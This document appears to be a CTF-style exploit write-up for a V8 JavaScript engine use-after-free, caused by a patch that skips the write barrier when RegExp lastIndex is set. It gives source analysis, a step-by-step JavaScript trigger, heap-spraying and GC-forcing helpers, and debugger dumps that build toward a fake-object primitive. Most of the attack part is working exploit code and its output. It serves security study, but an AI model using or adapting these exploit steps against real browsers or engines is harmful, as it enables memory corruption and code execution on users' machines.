+  //                      FunctionTemplate::New(isolate, WriteStdout));
+  // if (!i::v8_flags.fuzzing) {
+  //   global_template->Set(isolate, "writeFile",
+  //                        FunctionTemplate::New(isolate, WriteFile));
+  // }
+  // global_template->Set(isolate, "read",
+  //                      FunctionTemplate::New(isolate, ReadFile));
+  // global_template->Set(isolate, "readbuffer",
+  //                      FunctionTemplate::New(isolate, ReadBuffer));
+  // global_template->Set(isolate, "readline",
+  //                      FunctionTemplate::New(isolate, ReadLine));
+  // global_template->Set(isolate, "load",
+  //                      FunctionTemplate::New(isolate, ExecuteFile));
   global_template->Set(isolate, "setTimeout",
                        FunctionTemplate::New(isolate, SetTimeout));
   // Some Emscripten-generated code tries to call 'quit', which in turn would
diff --git a/src/regexp/regexp-utils.cc b/src/regexp/regexp-utils.cc
index 22abd702805..a9b1101f9a7 100644
--- a/src/regexp/regexp-utils.cc
+++ b/src/regexp/regexp-utils.cc
@@ -50,7 +50,7 @@ MaybeHandle<Object> RegExpUtils::SetLastIndex(Isolate* isolate,
       isolate->factory()->NewNumberFromInt64(value);
   if (HasInitialRegExpMap(isolate, *recv)) {
     JSRegExp::cast(*recv)->set_last_index(*value_as_object,
-                                          UPDATE_WRITE_BARRIER);
+                                          SKIP_WRITE_BARRIER);
     return recv;
   } else {
     return Object::SetProperty(

Vulnerability Analysis

Looking into the patched function, we could see that when updating the lastIndex property on a RegExp object, there is no update on write barrier.

A write barrier, essentially, is an indicator used by the garbage collector (GC) to perform remarking on the whole heap1. Looking into the source code, we could infer that the UPDATE_WRITE_BARRIER forces the GC to do remarking, while SKIP_WRITE_BARRIER does not. UPDATE_WRITE_BARRIER exists because there is a type of garbage collection, called minor GC, which only do marking on some part of the heap. With UPDATE_WRITE_BARRIER, the GC could tell that an object X is reference by other object Y that lives on the other part of the heap, which minor GC does not act on. As a result, this object X would not be free and this prevent UAF.

// UNSAFE_SKIP_WRITE_BARRIER skips the write barrier.
// SKIP_WRITE_BARRIER skips the write barrier and asserts that this is safe in
// the MemoryOptimizer
// UPDATE_WRITE_BARRIER is doing the full barrier, marking and generational.
enum WriteBarrierMode {
  SKIP_WRITE_BARRIER,
  UNSAFE_SKIP_WRITE_BARRIER,
  UPDATE_EPHEMERON_KEY_WRITE_BARRIER,
  UPDATE_WRITE_BARRIER
};

Using SKIP_WRITE_BARRIER makes sense when the lastIndex property is a small immediate integer (SMI). However, if we trace back to the previous lines of code, we could see that value goes through NewNumberFromInt64. Another thing to take note is that our RegExp object property should not be modified such that HasInitialRegExpMap returns true.

MaybeHandle<Object> RegExpUtils::SetLastIndex(Isolate* isolate,
                                              Handle<JSReceiver> recv,
                                              uint64_t value) {
  Handle<Object> value_as_object =
      isolate->factory()->NewNumberFromInt64(value);
  if (HasInitialRegExpMap(isolate, *recv)) {
    JSRegExp::cast(*recv)->set_last_index(*value_as_object,
                                          SKIP_WRITE_BARRIER);
    return recv;
  } else {
    return Object::SetProperty(
        isolate, recv, isolate->factory()->lastIndex_string(), value_as_object,
        StoreOrigin::kMaybeKeyed, Just(kThrowOnError));
  }
}

Looking into NewNumberFromInt64 function, we could see that it could return either an SMI or a HeapNumber object. The latter case occurs when:

  • value is bigger than the maximum value of SMI
  • value is lower than the minimum value of SMI
// v8/src/heap/factory-base-inl.h
template <typename Impl>
template <AllocationType allocation>
Handle<Object> FactoryBase<Impl>::NewNumberFromInt64(int64_t value) {
  if (value <= std::numeric_limits<int32_t>::max() &&
      value >= std::numeric_limits<int32_t>::min() &&
      Smi::IsValid(static_cast<int32_t>(value))) {
    return handle(Smi::FromInt(static_cast<int32_t>(value)), isolate());
  }
  return NewHeapNumber<allocation>(static_cast<double>(value));
}

Since SMI is 31-bit in size and covers positive and negative integers, the range is2:

$$ [-2^{30}, 2^{30}-1] $$

$$ [-1073741824, 1073741823] $$

Now, let's take a look at the vulnerability details and try to re-create the PoC. Essentially, with the SKIP_WRITE_BARRIER, we could cause the GC to free the HeapNumber object created by NewNumberFromInt64 which makes the lastIndex property to be a dangling pointer (UAF).

Exploit Development

Getting UAF

TL;DR

  1. create a RegExp object (re)
  2. force major gc such that re goes into OldSpace
  3. this makes re.lastIndex heap number to be allocated at NewSpace
  4. force minor gc
  5. garbage collection results in the previous HeapNumber object to be freed due to SKIP_WRITE_BARRIER causing the GC to not be aware that re object has reference to this HeapNumber
  6. UAF profit

Explanation

First, let's try to grep which part of code calls into SetLastIndex function.

$ grep -nrP 'SetLastIndex\(' *
src/runtime/runtime-regexp.cc:1425:    RETURN_ON_EXCEPTION(isolate, RegExpUtils::SetLastIndex(isolate, regexp, 0),
src/runtime/runtime-regexp.cc:1725:        isolate, RegExpUtils::SetLastIndex(isolate, splitter, string_index));
src/runtime/runtime-regexp.cc:1849:                                RegExpUtils::SetLastIndex(isolate, recv, 0));
src/regexp/regexp-utils.cc:46:MaybeHandle<Object> RegExpUtils::SetLastIndex(Isolate* isolate,
src/regexp/regexp-utils.cc:205:  return SetLastIndex(isolate, regexp, new_last_index);
src/regexp/regexp-utils.h:27:  static V8_WARN_UNUSED_RESULT MaybeHandle<Object> SetLastIndex(

Looking through the result, there are 4 places where it is invoked:

  • src/runtime/runtime-regexp.cc:1425: this is part of RegExpReplace(Isolate, Handle, Handle, Handle) function which is supposed to be called when executing RegExp.prototype[Symbol.replace]

    When testing via GDB, I could not seem to get into this function. Moreover, there is a comment mentioning this is a legacy implementation. Perhaps, that is the reason why this line of code is unreachable.

  • src/runtime/runtime-regexp.cc:1725: this is part of Runtime_RegExpSplit function which is called when executing RegExp.prototype[ @@split ]

    This could potentially work but require much effort since the value is controlled by the length of the string to be splitted.

  • src/runtime/runtime-regexp.cc:1849: this is part of Runtime_RegExpReplaceRT which is called when executing RegExp.prototype[ @@replace ]

    This does not work as we do not control the third arguments.

  • src/regexp/regexp-utils.cc:205: this is part of RegExpUtils::SetAdvancedStringIndex function

    A little spoiler, this is the one we are aiming for. Let's see and explore why this is the perfect match.

Looking into RegExpUtils::SetAdvancedStringIndex, we could see that:

  • old lastIndex property is retrieved
  • this old lastIndex is added with 1 and saved to new_last_index
  • this new_last_index is then passed to SetLastIndex

This is perfect as we have complete control over the old lastIndex field.

uint64_t RegExpUtils::AdvanceStringIndex(Handle<String> string, uint64_t index,
                                         bool unicode) {
  DCHECK_LE(static_cast<double>(index), kMaxSafeInteger);
  const uint64_t string_length = static_cast<uint64_t>(string->length());
  if (unicode && index < string_length) {
    const uint16_t first = string->Get(static_cast<uint32_t>(index));
    if (first >= 0xD800 && first <= 0xDBFF && index + 1 < string_length) {
      DCHECK_LT(index, std::numeric_limits<uint64_t>::max());
      const uint16_t second = string->Get(static_cast<uint32_t>(index + 1));
      if (second >= 0xDC00 && second <= 0xDFFF) {
        return index + 2;
      }
    }
  }
  return index + 1;
}

MaybeHandle<Object> RegExpUtils::SetAdvancedStringIndex(
    Isolate* isolate, Handle<JSReceiver> regexp, Handle<String> string,
    bool unicode) {
  Handle<Object> last_index_obj;
  ASSIGN_RETURN_ON_EXCEPTION(
      isolate, last_index_obj,
      Object::GetProperty(isolate, regexp,
                          isolate->factory()->lastIndex_string()),
      Object);

  ASSIGN_RETURN_ON_EXCEPTION(isolate, last_index_obj,
                             Object::ToLength(isolate, last_index_obj), Object);
  const uint64_t last_index = PositiveNumberToUint64(*last_index_obj);
  const uint64_t new_last_index =
      AdvanceStringIndex(string, last_index, unicode);

  return SetLastIndex(isolate, regexp, new_last_index);
}

Next, let's see which function calls into RegExpUtils::SetAdvancedStringIndex.

$ grep -nrP 'SetAdvancedStringIndex\(' *
src/runtime/runtime-regexp.cc:1874:      RETURN_FAILURE_ON_EXCEPTION(isolate, RegExpUtils::SetAdvancedStringIndex(
src/regexp/regexp-utils.cc:189:MaybeHandle<Object> RegExpUtils::SetAdvancedStringIndex(
src/regexp/regexp-utils.h:49:  static V8_WARN_UNUSED_RESULT MaybeHandle<Object> SetAdvancedStringIndex(

There is only 1 place and it is called inside Runtime_RegExpReplaceRT function.

// Slow path for:
// ES#sec-regexp.prototype-@@replace
// RegExp.prototype [ @@replace ] ( string, replaceValue )
RUNTIME_FUNCTION(Runtime_RegExpReplaceRT) {
  HandleScope scope(isolate);
  DCHECK_EQ(3, args.length());

  Handle<JSReceiver> recv = args.at<JSReceiver>(0);
  Handle<String> string = args.at<String>(1);
  Handle<Object> replace_obj = args.at(2);

  Factory* factory = isolate->factory();

  // ...

  // Fast-path for unmodified JSRegExps (and non-functional replace).
  if (RegExpUtils::IsUnmodifiedRegExp(isolate, recv)) {  // [0]
    // We should never get here with functional replace because unmodified
    // regexp and functional replace should be fully handled in CSA code.
    CHECK(!functional_replace);
    Handle<Object> result;
    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
        isolate, result,
        RegExpReplace(isolate, Handle<JSRegExp>::cast(recv), string, replace));
    DCHECK(RegExpUtils::IsUnmodifiedRegExp(isolate, recv));
    return *result;
  }

  const uint32_t length = string->length();

  Handle<Object> global_obj;
  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
      isolate, global_obj,
      JSReceiver::GetProperty(isolate, recv, factory->global_string()));
  const bool global = Object::BooleanValue(*global_obj, isolate);  // [1]

  bool unicode = false;
  if (global) {  // [2]
    Handle<Object> unicode_obj;
    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
        isolate, unicode_obj,
        JSReceiver::GetProperty(isolate, recv, factory->unicode_string()));
    unicode = Object::BooleanValue(*unicode_obj, isolate);

    RETURN_FAILURE_ON_EXCEPTION(isolate,
                                RegExpUtils::SetLastIndex(isolate, recv, 0));  // [3]
  }

  base::SmallVector<Handle<Object>, kStaticVectorSlots> results;

  while (true) {
    Handle<Object> result;
    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
        isolate, result, RegExpUtils::RegExpExec(isolate, recv, string,  // [4]
                                                 factory->undefined_value()));

    if (IsNull(*result, isolate)) break;

    results.emplace_back(result);
    if (!global) break;  // [5]

    Handle<Object> match_obj;
    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, match_obj,
                                       Object::GetElement(isolate, result, 0));

    Handle<String> match;
    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, match,
                                       Object::ToString(isolate, match_obj));

    if (match->length() == 0) {  // [6]
      RETURN_FAILURE_ON_EXCEPTION(isolate, RegExpUtils::SetAdvancedStringIndex(  // [7]
                                               isolate, recv, string, unicode));
    }
  }

  // ...
}

Based on trial-and-error, the fast-path is never taken [0] but we can ensure it to be never taken by modifying our RegExp object property. In order to get into SetAdvancedStringIndex [7], we need to first pass the global variable check [5]. This variable is retrieved from the RegExp object [1], which is basically the flags modifier when instantiating the object. Before SetAdvancedStringIndex is called, the prototype exec is first called [4], and then it checks if the result is not NULL. Since global is set to true, the loop does not break and it tries to get the element at index 0 then tries to convert the element to string. Finally, it checks if the matched string length is 0 [6], and if it is, SetAdvancedStringIndex is called. One thing to note is that since global is set to true the lastIndex property is always reset to 0 [3]. The workaround for this will be discussed shortly.

Now, let's take a look at the following code.

// RegExp(pattern, flags)
var re = new RegExp("", "g");
re.lastIndex = 1337;
re[Symbol.replace]("", "l33t");
console.log(re.lastIndex);  // output: 0

Since we want the return value of RegExpExec to be [""], we could try to use "" as the pattern or pass in empty string for the first argument. We could run it inside GDB and place a breakpoint on SetAdvancedStringIndex to see if it is called. Unfortunately, our breakpoint is not hit. If we execute re.exec(""), we could see that the output is actually null instead of [""]. Since this is JavaScript, we could modify the behaviour re.exec by simply overwriting it with our own supplied function.

var re = new RegExp("leet", "g");
re.lastIndex = 1337;
re.exec = function () {
    return [""]  // to get into `SetAdvancedStringIndex`
}
re[Symbol.replace]("", "l33t");  // infinite loop
console.log(re.lastIndex);

Notice that the program just hangs as we are stuck inside an infinite loop. This is because if (IsNull(*result, isolate)) break; is never executed as now RegExpExec returns [""]. To circumvent this, we could just overwrite this function again to return null.

var re = new RegExp("leet", "g");
re.lastIndex = 1337;
re.exec = function () {
    re.exec = function () { return null; };  // to avoid infinite loop
    return [""];  // to get into `SetAdvancedStringIndex`
}
re[Symbol.replace]("", "l33t");
console.log(re.lastIndex);  // 0

If we run it inside GDB and set a breakpoint on SetAdvancedStringIndex, we could see that the breakpoint is indeed hit but our final re.lastIndex is still 0. Recall that it is reset to 0 on every Runtime_RegExpReplaceRT call [3]. However, notice that RegExpExec is called after [3]. This means that we could re-assign re.lastIndex inside our modified re.exec function and when SetAdvancedStringIndex is called, re.lastIndex is not 0 anymore.

var re = new RegExp("leet", "g");
re.lastIndex = 1337;
re.exec = function () {
    re.lastIndex = 1337;
    re.exec = function () { return null; };  // to avoid infinite loop
    return [""];  // to get into `SetAdvancedStringIndex`
}
re[Symbol.replace]("", "l33t");
console.log(re.lastIndex);  // 1338 == 1337+1

Finally, the final re.lastIndex is 1 more than 1337 which is to be expected but recall that to skip the write barrier, we need to pass HasInitialRegExpMap check which is only possible if we do not mess with our object property. One way to achieve this is to do delete re.exec; such that subsequent call to re.exec goes into RegExp.prototype.exec. However, doing so results in re.lastIndex no longer 1338 but 0. Apparently, the original RegExp.prototype.exec messes with lastIndex property as well. Luckily, since this is JavaScript, we could overwrite RegExp.prototype.exec as well.

var re = new RegExp("leet", "g");
var exec_bak = RegExp.prototype.exec;  // backup original exec()
RegExp.prototype.exec = function () { return null; };
re.exec = function () {
    re.lastIndex = 1337;
    delete re.exec;  // to pass `HasInitialRegExpMap` check and falls back to RegExp.prototype.exec to avoid infinite loop
    return [""];  // to get into `SetAdvancedStringIndex`
}
re[Symbol.replace]("", "l33t");
console.log(re.lastIndex);  // 1338 == 1337+1
RegExp.prototype.exec = exec_bak;  // restore original exec()

Now, if we set re.lastIndex to be 1073741824 such that it is stored as HeapNumber object, we can try to simulate some garbage collection to observe how re and re.lastIndex changes.

// pwn.js
var re = new RegExp("leet", "g");
var exec_bak = RegExp.prototype.exec;  // backup original exec()
RegExp.prototype.exec = function () { return null; };
var n = 1073741824;
re.exec = function () {
    re.lastIndex = n;
    delete re.exec;  // to pass `HasInitialRegExpMap` check and falls back to RegExp.prototype.exec to avoid infinite loop
    return [""];  // to get into `SetAdvancedStringIndex`
}
re[Symbol.replace]("", "l33t");
console.assert(re.lastIndex === n + 1);  // 1073741825 === 1073741824+1
RegExp.prototype.exec = exec_bak;  // restore original exec()

eval("%DebugPrint(re)");
eval("%DebugPrint(re.lastIndex)");
eval("%SystemBreak()");

gc({type:'minor'});  // minor gc / scavenge (enabled by --expose-gc)  [1]

eval("%DebugPrint(re)");
eval("%DebugPrint(re.lastIndex)");
eval("%SystemBreak()");

gc({type:'minor'});  // minor gc / scavenge (enabled by --expose-gc)  [2]
eval("%DebugPrint(re)");
eval("%DebugPrint(re.lastIndex)");
eval("%SystemBreak()");

To execute the script, we need to enable some command line flags.

./d8 --allow-natives-syntax --expose-gc --trace-gc pwn.js

Initially, re lives in NewSpace. After re[Symbol.replace], the HeapNumber is allocated at NewSpace as well.

gef> run
0x100e00048375 <JSRegExp <String[4]: #leet>>
0x100e00049045 <HeapNumber 1073741825.0>

gef> vmmap
[ Legend:  Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start              End                Size               Offset             Perm Path
0x0000100600000000 0x0000100e00000000 0x0000000800000000 0x0000000000000000 ---
0x0000100e00000000 0x0000100e00010000 0x0000000000010000 0x0000000000000000 r--   <-  $r14
0x0000100e00010000 0x0000100e00020000 0x0000000000010000 0x0000000000000000 ---
0x0000100e00020000 0x0000100e00040000 0x0000000000020000 0x0000000000000000 r--
0x0000100e00040000 0x0000100e00145000 0x0000000000105000 0x0000000000000000 rw-  # `re` and `HeapNumber` live here
0x0000100e00145000 0x0000100e00180000 0x000000000003b000 0x0000000000000000 ---
0x0000100e00180000 0x0000100e001c0000 0x0000000000040000 0x0000000000000000 rw-   <-  $r8  
0x0000100e001c0000 0x0000100e00300000 0x0000000000140000 0x0000000000000000 ---
0x0000100e00300000 0x0000100e00314000 0x0000000000014000 0x0000000000000000 r--
0x0000100e00314000 0x0000100e00340000 0x000000000002c000 0x0000000000000000 ---
0x0000100e00340000 0x0000111600000000 0x00000107ffcc0000 0x0000000000000000 ---
0x0000354600000000 0x0000354600040000 0x0000000000040000 0x0000000000000000 rw-
0x0000354600040000 0x0000354610000000 0x000000000ffc0000 0x0000000000000000 ---

Next, when we do minor GC [1], both re and HeapNumber moves to Intermediary/To-Space of NewSpace.

gef> c
[7022:0x555556d7b000]   139382 ms: Scavenge 0.1 (1.5) -> 0.1 (1.5) MB, 16.24 / 0.00 ms  (average mu = 1.000, current mu = 1.000) testing;
0x100e001c755d <JSRegExp <String[4]: #leet>>
0x100e001c75d5 <HeapNumber 1073741825.0>

gef> vmmap
[ Legend:  Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start              End                Size               Offset             Perm Path
0x0000100600000000 0x0000100e00000000 0x0000000800000000 0x0000000000000000 ---
0x0000100e00000000 0x0000100e00010000 0x0000000000010000 0x0000000000000000 r--   <-  $r14
0x0000100e00010000 0x0000100e00020000 0x0000000000010000 0x0000000000000000 ---
0x0000100e00020000 0x0000100e00040000 0x0000000000020000 0x0000000000000000 r--
0x0000100e00040000 0x0000100e00140000 0x0000000000100000 0x0000000000000000 ---
0x0000100e00140000 0x0000100e00145000 0x0000000000005000 0x0000000000000000 rw-
0x0000100e00145000 0x0000100e00180000 0x000000000003b000 0x0000000000000000 ---
0x0000100e00180000 0x0000100e002c0000 0x0000000000140000 0x0000000000000000 rw-   <-  $r8  # `re` and `HeapNumber` live here
0x0000100e002c0000 0x0000100e00300000 0x0000000000040000 0x0000000000000000 ---
0x0000100e00300000 0x0000100e00314000 0x0000000000014000 0x0000000000000000 r--
0x0000100e00314000 0x0000100e00340000 0x000000000002c000 0x0000000000000000 ---
0x0000100e00340000 0x0000111600000000 0x00000107ffcc0000 0x0000000000000000 ---
0x0000354600000000 0x0000354600040000 0x0000000000040000 0x0000000000000000 rw-
0x0000354600040000 0x0000354610000000 0x000000000ffc0000 0x0000000000000000 ---

If we do minor GC once more [2], both re and HeapNumber would move to the OldSpace.

gef> c
[7022:0x555556d7b000]   264864 ms: Scavenge 0.1 (1.5) -> 0.1 (1.5) MB, 18.34 / 0.00 ms  (average mu = 1.000, current mu = 1.000) testing;
0x100e0019f02d <JSRegExp <String[4]: #leet>>
0x100e0019f0a5 <HeapNumber 1073741825.0>

gef> vmmap
[ Legend:  Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start              End                Size               Offset             Perm Path
0x0000100600000000 0x0000100e00000000 0x0000000800000000 0x0000000000000000 ---
0x0000100e00000000 0x0000100e00010000 0x0000000000010000 0x0000000000000000 r--   <-  $r14
0x0000100e00010000 0x0000100e00020000 0x0000000000010000 0x0000000000000000 ---
0x0000100e00020000 0x0000100e00040000 0x0000000000020000 0x0000000000000000 r--
0x0000100e00040000 0x0000100e00145000 0x0000000000105000 0x0000000000000000 rw-
0x0000100e00145000 0x0000100e00180000 0x000000000003b000 0x0000000000000000 ---
0x0000100e00180000 0x0000100e001c0000 0x0000000000040000 0x0000000000000000 rw-   <-  $r8  # `re` and `HeapNumber` live here
0x0000100e001c0000 0x0000100e002c0000 0x0000000000100000 0x0000000000000000 ---            # (notice that the previous NewSpace have been splitted)
0x0000100e002c0000 0x0000100e00300000 0x0000000000040000 0x0000000000000000 ---
0x0000100e00300000 0x0000100e00314000 0x0000000000014000 0x0000000000000000 r--
0x0000100e00314000 0x0000100e00340000 0x000000000002c000 0x0000000000000000 ---
0x0000100e00340000 0x0000111600000000 0x00000107ffcc0000 0x0000000000000000 ---
0x0000354600000000 0x0000354600040000 0x0000000000040000 0x0000000000000000 rw-
0x0000354600040000 0x0000354610000000 0x000000000ffc0000 0x0000000000000000 ---

You may wonder why does the first minor GC consider HeapNumber as a live object even though re.lastIndex is set with SKIP_WRITE_BARRIER. This is because minor GC perform marking starting from re (since it is in NewSpace) and it could reach HeapNumber via re.lastIndex. The same applies when doing major GC instead of minor GC initially.

Things would be different if re lives in OldSpace, while HeapNumber lives in NewSpace. When we do a minor GC, re is ignored as minor GC only covers NewSpace. Furthermore, because of the SKIP_WRITE_BARRIER, the GC does not aware that there is a reference to the HeapNumber from the OldSpace. This causes the HeapNumber object to be garbage collected while re.lastIndex still points to the freed memory, which is basically a UAF on re.lastIndex.

If UPDATE_WRITE_BARRIER is used instead, HeapNumber would eventually transition to OldSpace since the GC is aware of the reference to HeapNumber.

// pwn.js
var re = new RegExp("leet", "g");
var exec_bak = RegExp.prototype.exec;  // backup original exec()
var n = 1073741824;
re.exec = function () {
    re.lastIndex = n;
    delete re.exec;  // to pass `HasInitialRegExpMap` check and falls back to RegExp.prototype.exec to avoid infinite loop
    return [""];  // to get into `SetAdvancedStringIndex`
}
eval("%DebugPrint(re)");
gc();  // major gc / mark and sweep: forces `re` to move into `OldSpace`
re[Symbol.replace]("", "l33t");
console.assert(re.lastIndex === n + 1);  // 1073741825 === 1073741824+1
RegExp.prototype.exec = exec_bak;  // restore original exec()

eval("%DebugPrint(re)");
eval("%DebugPrint(re.lastIndex)");

gc({type:'minor'})  // causes `HeapNumber` to be garbage collected [1]

var spray = [0.0, 1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0, 8.0, 9.0, 10.0]

eval("%DebugPrint(re)");
eval("%DebugPrint(spray)");

If we only run the code above, we notice that re and HeapNumber is not so far apart, but they are actually on two different space. However, spray is not allocated at the same space as our freed HeapNumber.

0x228b0004837d <JSRegExp <String[4]: #leet>>
[16454:0x55d1bbdce000]        2 ms: Mark-Compact 0.1 (1.5) -> 0.1 (2.5) MB, 0.47 / 0.00 ms  (average mu = 0.645, current mu = 0.645) testing; GC in old space requested
0x228b0019a705 <JSRegExp <String[4]: #leet>>
0x228b001c2155 <HeapNumber 1073741825.0>
[16454:0x55d1bbdce000]        2 ms: Scavenge 0.1 (2.5) -> 0.1 (2.5) MB, 0.03 / 0.00 ms  (average mu = 0.645, current mu = 0.645) testing;
0x228b0019a705 <JSRegExp <String[4]: #leet>>
0x228b000421dd <JSArray[11]>

When the minor GC [1] happens, the space occupied by HeapNumber is considered as the Nursery/From-Space (call this A) space and live object is evacuated from this space to Intermediate/To-Space (call this B). After the minor GC is done, the previous Nursery/From-Space (A) has now become Intermediate/To-Space and the previous Intermediate/To-Space (B) has now become Nursery/From-Space. Now, when new objects are allocated, they would be placed on B, since B is now the Nursery/From-Space. Next, if we do another minor GC, new object would now be allocated at A instead of B.

var re = new RegExp("leet", "g");
var exec_bak = RegExp.prototype.exec;  // backup original exec()
RegExp.prototype.exec = function () { return null; };
var n = 1073741824;
re.exec = function () {
    re.lastIndex = n;
    delete re.exec;  // to pass `HasInitialRegExpMap` check and falls back to RegExp.prototype.exec to avoid infinite loop
    return [""];  // to get into `SetAdvancedStringIndex`
}
eval("%DebugPrint(re)");
gc();  // major gc / mark and sweep: forces `re` to move into `OldSpace`
re[Symbol.replace]("", "l33t");
console.assert(re.lastIndex === n + 1);  // 1073741825 === 1073741824+1
RegExp.prototype.exec = exec_bak;  // restore original exec()

eval("%DebugPrint(re)");
eval("%DebugPrint(re.lastIndex)");

gc({type:'minor'})  // causes `HeapNumber` to be garbage collected
gc({type:'minor'})  // switches `Nursery` and `Intermediate` such that new object is allocated near our old `HeapNumber`

var spray = [0.0, 1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0, 8.0, 9.0, 10.0]

eval("%DebugPrint(re)");
eval("%DebugPrint(spray)");

When we run the above code, as expected, spray is now allocated near our old HeapNumber address. Now, our re.lastIndex actually points to the elements of spray, and we essentially have UAF and full control over the memory pointed by re.lastIndex.

gef> run
0x199c000483ad <JSRegExp <String[4]: #leet>>
[16796:0x555556d7b000]       14 ms: Mark-Compact 0.1 (1.5) -> 0.1 (2.5) MB, 7.07 / 0.00 ms  (average mu = 0.440, current mu = 0.440) testing; GC in old space requested
0x199c0019a71d <JSRegExp <String[4]: #leet>>
0x199c001c2155 <HeapNumber 1073741825.0>
[16796:0x555556d7b000]       25 ms: Scavenge 0.1 (2.5) -> 0.1 (2.5) MB, 5.75 / 0.00 ms  (average mu = 0.440, current mu = 0.440) testing;
[16796:0x555556d7b000]       30 ms: Scavenge 0.1 (2.5) -> 0.1 (2.5) MB, 5.73 / 0.00 ms  (average mu = 0.440, current mu = 0.440) testing;
0x199c0019a71d <JSRegExp <String[4]: #leet>>
0x199c001c21a9 <JSArray[11]>

gef> tele 0x199c001c21a8 2
0x199c001c21a8|+0x0000|+000: 0x000006cd0018ece1
0x199c001c21b0|+0x0008|+001: 0x00000016001c2149
gef> tele 0x199c001c2148 10
0x199c001c2148|+0x0000|+000: 0x0000001600000851
0x199c001c2150|+0x0008|+001: 0x3fb999999999999a
0x199c001c2158|+0x0010|+002: 0x3ff199999999999a
0x199c001c2160|+0x0018|+003: 0x4000cccccccccccd
0x199c001c2168|+0x0020|+004: 0x4008cccccccccccd
0x199c001c2170|+0x0028|+005: 0x4010666666666666
0x199c001c2178|+0x0030|+006: 0x4014666666666666
0x199c001c2180|+0x0038|+007: 0x4018666666666666
0x199c001c2188|+0x0040|+008: 0x401c666666666666
0x199c001c2190|+0x0048|+009: 0x4020333333333333

note

We could also immediately perform major gc after the first minor gc. Further down this blog, I used major gc instead as in the attempt to gain code execution via wasm, garbage collection is unwantedly triggered when we try to import the wasm bytecode. This messes up our whole overlapping setup

Now, instead of relying on gc() which is only accessible with --expose-gc command line flags, let's try to implement our own function which would trigger major/minor GC.

// yoinked from https://issues.chromium.org/action/issues/40059133/attachments/53188081?download=false
// and adjusted accordingly
roots = new Array(0x20000);
index = 0;

function major_gc() {
    new ArrayBuffer(0x40000000);
}

function minor_gc() {
    for (var i = 0; i < 8; i++) {
        roots[index++] = new ArrayBuffer(0x200000);
    }
    roots[index++] = new ArrayBuffer(8);
}

When we try to call major_gc(), we could see that --trace-gc emit similar message to the one by gc(). The same goes to minor_gc(). However, our implementation of minor_gc() is not perfect as calling this function n times, occassionally, may not trigger exact n scavenging, there could be more or less scavenging. Thus, adjustment is necessary on different development environment.

note

It is better to try out your exploit without --trace-gc and without the debugging code like eval("%DebugPrint(re)") as these consume memory space and may mess up our calculation

fakeobj primitive

To create a fake object primitive, we would need to align our re.lastIndex value with one of our spray array elements. If &spray.elements is located at slightly higher memory address, we could allocate some memory before re.lastIndex heap number is allocated like so.

var n = 1073741824;
re.exec = function () {
    new Array(0x0d);  // padding to make re.lastIndex overlaps and perfectly align with our spray array elements
    re.lastIndex = n;
    delete re.exec;  // to pass `HasInitialRegExpMap` check and falls back to RegExp.prototype.exec to avoid infinite loop
    return [""];  // to get into `SetAdvancedStringIndex`
}

After trial-and-error, below is my result in which re.lastIndex overlaps with spray[1].

$ ./d8 --allow-natives-syntax --shell --trace-gc ./idk.js
0x281a00048489 <JSRegExp <String[4]: #leet>>
[22072:0x56501579c000]        3 ms: Mark-Compact (reduce) 0.6 (2.0) -> 0.6 (2.0) MB, 1.00 / 0.00 ms  (average mu = 0.518, current mu = 0.518) external memory pressure; GC in old space requested
0x281a0019a7dd <JSRegExp <String[4]: #leet>>
0x281a00282389 <HeapNumber 1073741825.0>
[22072:0x56501579c000]        3 ms: Scavenge 0.6 (2.0) -> 0.6 (3.0) MB, 0.10 / 0.00 ms  (average mu = 0.518, current mu = 0.518) external memory pressure;
[22072:0x56501579c000]        3 ms: Scavenge 0.6 (3.0) -> 0.6 (3.0) MB, 0.05 / 0.00 ms  (average mu = 0.518, current mu = 0.518) external memory pressure;
[22072:0x56501579c000]        3 ms: Scavenge 0.6 (3.0) -> 0.6 (3.0) MB, 0.05 / 0.00 ms  (average mu = 0.518, current mu = 0.518) external memory pressure;
[22072:0x56501579c000]        3 ms: Scavenge 0.6 (3.0) -> 0.6 (3.0) MB, 0.05 / 0.00 ms  (average mu = 0.518, current mu = 0.518) external memory pressure;
0x281a0019a7dd <JSRegExp <String[4]: #leet>>
0x281a00282421 <JSArray[20]>
V8 version 12.2.0 (candidate)
d8>
gef> tele 0x281a00282420
0x281a00282420|+0x0000|+000: 0x000006cd0018ece1
0x281a00282428|+0x0008|+001: 0x0000002800282379 ('y#('?)
gef> tele 0x281a00282378
0x281a00282378|+0x0000|+000: 0x0000002800000851
0x281a00282380|+0x0008|+001: 0x3fb999999999999a
0x281a00282388|+0x0010|+002: 0x3ff199999999999a
0x281a00282390|+0x0018|+003: 0x4000cccccccccccd
0x281a00282398|+0x0020|+004: 0x4008cccccccccccd
0x281a002823a0|+0x0028|+005: 0x4010666666666666
0x281a002823a8|+0x0030|+006: 0x4014666666666666
0x281a002823b0|+0x0038|+007: 0x4018666666666666
0x281a002823b8|+0x0040|+008: 0x401c666666666666
0x281a002823c0|+0x0048|+009: 0x4020333333333333
gef> p/f 0x3ff199999999999a
$1 = 1.1000000000000001

Now, if spray[1] is equal to 0x000006cd0018ece1 in memory and spray[2] is equal to 0x0000002800282379, when we do %DebugPrint(re.lastIndex), it would show us that re.lastIndex is a double array of length 20.

$ ./d8 --allow-natives-syntax --shell --trace-gc ./idk.js
0x279c000484bd <JSRegExp <String[4]: #leet>>
[24846:0x5587f7ad2000]        3 ms: Mark-Compact (reduce) 0.6 (2.0) -> 0.6 (2.0) MB, 1.44 / 0.00 ms  (average mu = 0.488, current mu = 0.488) external memory pressure; GC in old space requested
0x279c0019a811 <JSRegExp <String[4]: #leet>>
0x279c00282389 <HeapNumber 1073741825.0>
[24846:0x5587f7ad2000]        3 ms: Scavenge 0.6 (2.0) -> 0.6 (3.0) MB, 0.08 / 0.00 ms  (average mu = 0.488, current mu = 0.488) external memory pressure;
[24846:0x5587f7ad2000]        4 ms: Scavenge 0.6 (3.0) -> 0.6 (3.0) MB, 0.04 / 0.00 ms  (average mu = 0.488, current mu = 0.488) external memory pressure;
